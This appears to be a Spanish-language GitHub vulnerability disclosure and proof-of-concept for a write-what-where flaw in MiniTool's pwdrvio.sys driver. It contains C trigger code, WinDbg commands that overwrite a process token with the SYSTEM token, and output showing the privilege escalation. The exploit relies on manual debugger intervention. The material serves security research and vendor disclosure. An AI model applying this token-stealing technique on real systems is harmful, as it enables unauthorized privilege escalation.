canomer/cve-2026-36981-kernel-eop-pocFeb 2026 / Vulnerabilidad de corrupción de memoria en el controlador del kernel de MiniTool. Demuestra una primitiva de escritura arbitraria en el kernel asistida por depurador que puede aprovecharse para la escalada de privilegios.
Condición de escritura-qué-dónde (write-what-where) en el kernel dentro del controlador de kernel pwdrvio.sys de MiniTool. Demuestra una primitiva de escritura arbitraria al kernel asistida por depurador que puede aprovecharse para la escalada de privilegios.
https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e
Escritura Arbitraria al Kernel → Escalada Local de Privilegios (LPE)
Gravedad: ALTA
Puntuación CVSS 3.1: 7.8 (LPE)
Cadena de Vector CVSS:
LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Prerrequisitos del Ataque:
Resultados de la Explotación: LPE - Escalada de privilegios asistida por depurador demostrada (NT AUTHORITY / SYSTEM), compromiso completo del sistema
Fecha: 5 de febrero de 2026
Actividad: Fuzzing sistemático del controlador de kernel mediante un fuzzer Python personalizado
Proceso de Descubrimiento:
Selección del Objetivo:
pwdrvio.sys como el controlador más antiguo (marca de tiempo: 16 de junio de 2009)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0Fuzzing Inicial:
ctypes para interactuar con el controladorWriteFile/DeviceIoControl al dispositivo del controladorActivación del Verificador:
Configuración del Verificador: ```
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
### Configuración de Depuración de Kernel con WinDbg
**Fecha:** 5-6 de febrero de 2026
**Actividad:** Se estableció un entorno de depuración de kernel para el análisis de causa raíz
**Procedimiento de Configuración:**
1. **Configuración del Puerto Serie de VMware:** ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
Configuración del sistema operativo invitado: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0
Conexión WinDbg del Host: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓
Result: "Kernel Debugger connection established."
Fecha: 6 de febrero de 2026
Actividad: Se identificó una primitiva de escritura arbitraria en el kernel
Pasos del análisis:
Análisis del módulo: ```
1: kd> lm m pwdrvio
start end module name
fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio
DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8
[03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
Descubrimiento de instrucciones vulnerables:
Establecer un punto de interrupción en el manejador de escritura: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g
Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
Hallazgo crítico: ¡Se identificó una primitiva de escritura arbitraria!
RAX) en la dirección [R11-0x10]R11 se carga desde el marco de pila: mov r11, qword ptr [rbp+0xB8h]Análisis del estado de registros: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here
Fecha: 6-7 de febrero de 2026
Actividad: Rastreo de la vulnerabilidad desde Use-After-Free hasta la condición de write-what-where
Cadena de corrupción de memoria:
Asignación de IRP: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets
Relación de Buffer: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
Análisis: El búfer del usuario NO es directamente accesible desde el marco RBP
RBP+0xB8 no apunta al búfer controlado por el usuarioCondición de Use-After-Free:
El controlador mantiene punteros colgantes en la estructura IRP: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
Fecha: 7-8 de febrero de 2026
Actividad: Desarrollo de técnica de robo de tokens
Estrategia de Explotación:
Objetivo: Sobrescribir el token del proceso actual con el token de SYSTEM
Estructura EPROCESS de Windows:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location
**Procedimiento de Robo de Tokens:**
1. **Localizar el Proceso SYSTEM:** ```
0: kd> !process 4 0
PROCESS ffffe7875ac86200
SessionId: none Cid: 0004 Peb: 00000000
Image: System
0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8 ffffc08e`6642f04f ← SYSTEM token value
Localizar el proceso del atacante: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe
0: kd> dq ffffe78760150080+4b8 L1
ffffe78760150538 ffffc08e6c37a066 ← Standard user token
Calcular la dirección objetivo: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548
Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target
Realizar sobrescritura de token: ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax
0: kd> dq ffffe78760150538 L1 ; Verify
ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!
Restaurar la ejecución: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution
Resultado: ¡El proceso ahora tiene privilegios de SYSTEM!
Ubicación: pwdrvio.sys offset 0x1641
Ensamblador:```assembly
pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP
pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!
**Mecanismo de activación:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
Limitaciones de explotación:
Esta vulnerabilidad requiere herramientas de depuración del kernel para una explotación fiable porque:
Desafío del control de registros:
R11 se carga desde [RBP+0xB8]RBP apunta al marco de pila del IRP en el pool del kernel[RBP+0xB8] desde el búfer del usuarioDiseño de la memoria del pool: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)
Intervención manual requerida:
R11 en la dirección objetivo mediante el depuradorRAX en el valor del token SYSTEMMétricas:
Código:``` C #include <windows.h> #include <stdio.h>
int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];
printf("[*] MiniTool PoC Trigger...\n");
printf("[*] Current User: "); system("whoami");
// 1. Connect to the Driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Cannot Open Driver! Error: %d\n", GetLastError());
return 1;
}
printf("[+] Connected. WinDbg - BP 1641.\n");
printf("[!] WinDbg - Token Change - 'g'.\n");
getchar(); // Breakpoint of WinDbg
// 2. Trigger the Vulnerability (Sending Random Data to Driver)
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
printf("[*] Completed. SYSTEM Shell Opening...\n");
// 3. If we token is changed - SYSTEM Shell
system("whoami && cmd.exe");
return 0;
}
**Cómo compilar:**
* MinGW en Linux```
┌──(PC㉿PC)-[/dir]
└─$ x86_64-w64-mingw32-gcc LPE_PoC.c -o LPE_PoC.exe -lntdll -static
Proceso de WinDbg:
1: kd> dq ffff9d8f6401f080+4b8 L1
ffff9d8f6401f538 ffffc20940117738
1: kd> dq ffff9d8f6401f538 L1
ffff9d8f6401f538 ffffc20940117738
1: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffff9d8f5f069040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffffc2093447ac40 HandleCount: 2517.
Image: System
1: kd> dq ffff9d8f5f069040+4b8 L1
ffff9d8f5f0694f8 ffffc2093441d8df
1: kd> r rax = ffffc2093441d8df
1: kd> r r11 = ffff9d8f6401f538 + 10
1: kd> p
pwdrvio+0x1645:
fffff805315f1645 488d442440 lea rax,[rsp+40h] 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc209`3441d8df
1: kd> r rip = pwdrvio + 0x165f
1: kd> r eax = 0
1: kd> bc *
1: kd> g
**Salida del terminal:**``` PowerShell
PS C:\Users\standarduser\directory> whoami # Standard User Identification
PC\standarduser
PS C:\Users\standarduser\directory> whoami /priv # Standard User Privs
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================== ========
SeShutdownPrivilege Sistemi kapat Disabled
SeChangeNotifyPrivilege Çapraz geçiş denetimini atla Enabled
SeUndockPrivilege Bilgisayarı takma biriminden çıkar Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır Disabled
SeTimeZonePrivilege Saat dilimini değiştir Disabled
PS C:\Users\standarduser\directory> whoami /groups # Standard User Groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================================= ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap ve Administrators grubunun üyesi Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
KONSOL OTURUMU AÇMA Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Orta Zorunlu Düzey Label S-1-16-8192
PS C:\Users\standarduser\directory>
PS C:\Users\standarduser\directory> .\poc1.exe # PoC Execution
[*] MiniTool PoC Tetikleyici Baslatiliyor...
[*] Mevcut Kullanici: desktop-usp1rvs\kali
[+] Surucu baglantisi basarili. WinDbg'da BP 1641 bekleyin.
[!] WinDbg'da Token'i degistirdikten sonra 'g' deyin.
[*] Islem tamamlandi. SYSTEM Shell acilmaya calisiliyor...
nt authority\system
Microsoft Windows [Version 10.0.19045.3803]
(c) Microsoft Corporation. Tüm hakları saklıdır.
C:\Users\standarduser\directory>whoami # Elevated User Identification
nt authority\system
C:\Users\standarduser\directory>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= =============================================================================== ========
SeCreateTokenPrivilege Belirteç nesnesi oluştur Disabled
SeAssignPrimaryTokenPrivilege İşlem düzeyi belirtecini değiştir Disabled
SeLockMemoryPrivilege Sayfaları bellekte kilitle Enabled
SeIncreaseQuotaPrivilege İşlem için bellek kotaları ayarla Disabled
SeTcbPrivilege İşletim sisteminin parçası gibi davran Enabled
SeSecurityPrivilege Denetimi ve güvenlik günlüğünü yönet Disabled
SeTakeOwnershipPrivilege Dosyaların veya diğer nesnelerin sahipliğini al Disabled
SeLoadDriverPrivilege Aygıt sürücüleri yükle ve kaldır Disabled
SeSystemProfilePrivilege Sistem performansı profili oluştur Enabled
SeSystemtimePrivilege Sistem saatini değiştir Disabled
SeProfileSingleProcessPrivilege Tek işlem profili oluştur Enabled
SeIncreaseBasePriorityPrivilege Zamanlama önceliğini artır Enabled
SeCreatePagefilePrivilege Disk belleği dosyası oluştur Enabled
SeCreatePermanentPrivilege Kalıcı paylaşılan nesneler oluştur Enabled
SeBackupPrivilege Dosya ve dizinleri yedekle Disabled
SeRestorePrivilege Dosya ve dizinleri geri yükle Disabled
SeShutdownPrivilege Sistemi kapat Disabled
SeDebugPrivilege Programların hatalarını ayıkla Enabled
SeAuditPrivilege Güvenlik denetimleri oluştur Enabled
SeSystemEnvironmentPrivilege Üretici yazılımı ortam değerlerini değiştir Disabled
SeChangeNotifyPrivilege Çapraz geçiş denetimini atla Enabled
SeUndockPrivilege Bilgisayarı takma biriminden çıkar Disabled
SeManageVolumePrivilege Birim bakım görevleri gerçekleştir Disabled
SeImpersonatePrivilege Kimlik doğrulamasından sonra istemcinin özelliklerini al Enabled
SeCreateGlobalPrivilege Genel nesneler oluştur Enabled
SeTrustedCredManAccessPrivilege Kimlik Bilgileri Yöneticisi'ne güvenilen arayan olarak eriş Disabled
SeRelabelPrivilege Nesne etiketini değiştir Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır Enabled
SeTimeZonePrivilege Saat dilimini değiştir Enabled
SeCreateSymbolicLinkPrivilege Simgesel bağlantılar oluştur Enabled
SeDelegateSessionUserImpersonatePrivilege Aynı oturumdaki farklı bir kullanıcı için bir kimliğe bürünme belirteci edinin. Enabled
C:\Users\standarduser\directory>whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Sistem Zorunlu Düzeyi Label S-1-16-16384
Entorno de Prueba:
Herramientas Requeridas:
Paso 1: Configuración del Entorno de Depuración del Kernel
A. Configuración de VMware
\\.\pipe\com_1B. Configuración del Sistema Operativo Invitado```cmd REM Administrator Command Prompt in VM C:> bcdedit /debug on The operation completed successfully.
C:> bcdedit /dbgsettings serial debugport:1 baudrate:115200 The operation completed successfully.
C:> bcdedit /dbgsettings debugtype Serial debugport 1 baudrate 115200
C:> shutdown /r /t 0
**C. Configuración de WinDbg en el host**
1. Abre WinDbg (x64)
2. Archivo → Depuración de kernel (Ctrl+K)
3. Configura:
- Pestaña: COM
- Puerto: `\\.\pipe\com_1`
- Velocidad de baudios: 115200
- ✓ Pipe
- ✓ Reconnect
4. Haz clic en Aceptar
Espera el mensaje de conexión:```
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows 10 19041 x64 target
Kernel Debugger connection established.
1: kd>
Paso 2: Compilar la Prueba de Concepto
Guárdalo como lpe_poc.c:```c
#include <windows.h>
#include <stdio.h>
int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];
printf("[*] MiniTool pwdrvio.sys LPE PoC\n");
printf("[*] Current user: ");
system("whoami");
// Open driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open driver (Error: %d)\n", GetLastError());
return 1;
}
printf("[+] Driver opened successfully\n");
printf("[!] Waiting for WinDbg manipulation...\n");
printf("[!] Set breakpoint: bp pwdrvio+0x1641\n");
printf("[!] Press ENTER when ready...\n");
getchar(); // Wait for WinDbg setup
// Trigger vulnerability
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
printf("[*] Exploitation complete\n");
printf("[*] Spawning SYSTEM shell...\n");
// If successful, this CMD will have SYSTEM privileges
system("whoami && cmd.exe");
CloseHandle(hDevice);
return 0;
}
**Compilar en Linux/WSL:**```bash
x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static
Paso 3: Ejecutar la explotación
A. Iniciar el PoC en la VM (Usuario estándar)```cmd C:> whoami desktop-lfkkhu2\standard_user
C:> whoami /priv
Privilege Name Description State ============================= ================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
[Limited privileges - no SeDebugPrivilege]
C:> lpe_poc.exe [] MiniTool pwdrvio.sys LPE PoC [] Current user: desktop-lfkkhu2\standard_user [+] Driver opened successfully [!] Waiting for WinDbg manipulation... [!] Set breakpoint: bp pwdrvio+0x1641 [!] Press ENTER when ready...
[WAIT - Do not press ENTER yet]
**B. Configuración y manipulación de WinDbg**```
1: kd> bp pwdrvio+0x1641
1: kd> g
Ahora pulsa ENTER en el PoC. WinDbg se detendrá:``` Breakpoint 0 hit pwdrvio+0x1641: fffff802`18b11641 498943f0 mov qword ptr [r11-10h],rax
0: kd> r rax=fffff80218b11364 rbx=0000000000000000 rcx=ffffe78761218e20 rdx=ffffe7875ff72e10 rsi=ffffe7875dd48f20 rdi=0000000000000000 rip=fffff80218b11641 rsp=ffff9f801c707100 rbp=ffffe7875ff72e10 r8=0000000000000001 r9=0000000000000000 r10=0000000000000000 r11=ffffe7875ff72f70 r12=0000000000000001 r13=ffffdf0a0c48ecd0 r14=0000000000000000 r15=ffffe78761218e20
**C. Localizar el proceso SYSTEM y el token**```
0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffe7875ac86200
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffffc08e66444c80 HandleCount: 2471
Image: System
0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8 ffffc08e`6642f04f ← SYSTEM token value
D. Localizar el proceso del atacante``` 0: kd> !process 0 0 lpe_poc.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Peb: a520317000 ParentCid: 14b8 DirBase: 402a29000 ObjectTable: ffffc08e6beb0780 HandleCount: 58 Image: lpe_poc.exe
0: kd> dq ffffe78760150080+4b8 L1
ffffe78760150538 ffffc08e6c37a066 ← Current token (standard user)
**E. Realizar Sobrescritura de Tokens**```
0: kd> r rax = ffffc08e6642f04f
0: kd> r r11 = ffffe78760150538 + 10
0: kd> r r11
r11=ffffe78760150548
0: kd> p
pwdrvio+0x1645:
fffff802`18b11645 488d442440 lea rax,[rsp+40h]
0: kd> dq ffffe78760150538 L1
ffffe787`60150538 ffffc08e`6642f04f ← Token successfully changed!
F. Restaurar la ejecución``` 0: kd> r rip = pwdrvio + 165f 0: kd> r eax = 0 0: kd> bc * 0: kd> g
**C. Verificar la escalada de privilegios en la VM**```
[*] Exploitation complete
[*] Spawning SYSTEM shell...
nt authority\system
Microsoft Windows [Version 10.0.19045.6466]
C:\> whoami
nt authority\system
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ==================================== ========
SeCreateTokenPrivilege Create a token object Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files/objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled ← SYSTEM!
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after auth Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as trusted Disabled
SeRelabelPrivilege Modify an object label Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Impersonate other session users Enabled
C:\> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ =======================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled, Owner
Everyone Well-known group S-1-1-0 Mandatory, Enabled by default, Enabled
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory, Enabled by default, Enabled
Mandatory Label\System Mandatory Level Label S-1-16-16384 ← SYSTEM integrity!
MiniTool Software:``` Product: MiniTool Partition Wizard Version: 13.5 Installation Path: C:\Program Files\MiniTool Partition Wizard Driver Path: C:\Windows\System32\drivers\pwdrvio.sys Driver Date: June 16, 2009 (0x4A36F8D1) Driver Size: 32,256 bytes
**Herramientas de prueba:**```
WinDbg Version: 10.0.29507.1001 AMD64
Python Version: 3.x with ctypes
Compiler: x86_64-w64-mingw32-gcc (MinGW)
Verifier: Windows Driver Verifier (Standard flags)
Producto Principal:
Detalles del Controlador:``` File Name: pwdrvio.sys File Version: [Not available] File Size: 32,256 bytes (31.5 KB) Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC) Digital Signature: [Signed by vendor] Device Name: \.\PartitionWizardDiskAccesser\0 Service Name: pwdrvio Load Order: Boot Start (SERVICE_BOOT_START)
### Potencialmente Afectados
Otros productos de MiniTool que pueden usar el mismo controlador:
- MiniTool Power Data Recovery
- MiniTool Partition Wizard Bootable Edition
- MiniTool ShadowMaker
**Nota:** Cada producto debe probarse individualmente para su confirmación.
### Compatibilidad con Sistemas Operativos
**Probado y Confirmado como Vulnerable:**
- Windows 10 Home Build 19045.6466 (x64)
**Motivo:** El controlador es compatible con todas las versiones modernas de Windows y no contiene comprobaciones específicas de versión.
## Aviso Legal
Este repositorio se proporciona estrictamente con fines educativos, de investigación defensiva de seguridad y de reproducción de vulnerabilidades en entornos de laboratorio controlados.
La información y el código de prueba de concepto están destinados a ayudar a defensores, investigadores y proveedores a comprender y remediar la vulnerabilidad reportada.
El uso no autorizado o malicioso de este código contra sistemas sin permiso explícito puede violar las leyes y regulaciones aplicables.
El autor no fomenta ni condona actividades ilegales y no asume ninguna responsabilidad por el mal uso o daño causado por este material.
Este informe de divulgación de vulnerabilidades se proporciona para:
1. Investigación y educación en seguridad
2. Notificación al proveedor y desarrollo de parches
3. Protección de los usuarios finales
4. Fines académicos y de seguridad defensiva
**Usos Prohibidos:**
- Acceso no autorizado a sistemas informáticos
- Explotación maliciosa
- Cualquier actividad ilegal
El investigador realizó todas las pruebas en sistemas de propiedad personal en entornos controlados. No se realizó ningún acceso no autorizado a sistemas de terceros.
**Versión del Informe:** 1.0
**Última Actualización:** 9 de febrero de 2026